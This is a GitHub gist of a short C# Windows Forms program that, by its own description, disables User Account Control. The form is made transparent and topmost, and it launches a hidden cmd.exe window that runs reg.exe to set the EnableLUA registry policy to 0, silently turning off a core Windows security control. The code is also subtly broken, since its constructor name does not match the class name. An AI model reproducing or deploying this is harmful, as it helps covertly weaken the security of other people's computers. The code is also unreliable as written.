Last active
May 1, 2022 17:59
-
-
Save Craftzman7/006c8802e50bb7786ff9a467f638c8ca to your computer and use it in GitHub Desktop.
This is some code written in the .NET framework that disables UAC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.Collections.Generic; | |
| using System.ComponentModel; | |
| using System.Data; | |
| using System.Drawing; | |
| using System.Linq; | |
| using System.Text; | |
| using System.Threading.Tasks; | |
| using System.Windows.Forms; | |
| using System.Diagnostics; | |
| using System.IO; | |
| using Microsoft.Win32; | |
| using System.Net; | |
| namespace UACDemo | |
| { | |
| public partial class DisableUAC : Form | |
| { | |
| public Inital() | |
| { | |
| InitializeComponent(); | |
| this.TransparencyKey = this.BackColor; | |
| TopMost = true; | |
| ProcessStartInfo disableUac = new ProcessStartInfo(); | |
| disableUac.FileName = "cmd.exe"; | |
| disableUac.WindowStyle = ProcessWindowStyle.Hidden; | |
| disableUac.Arguments = @"/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"; | |
| Process.Start(disableUac); | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment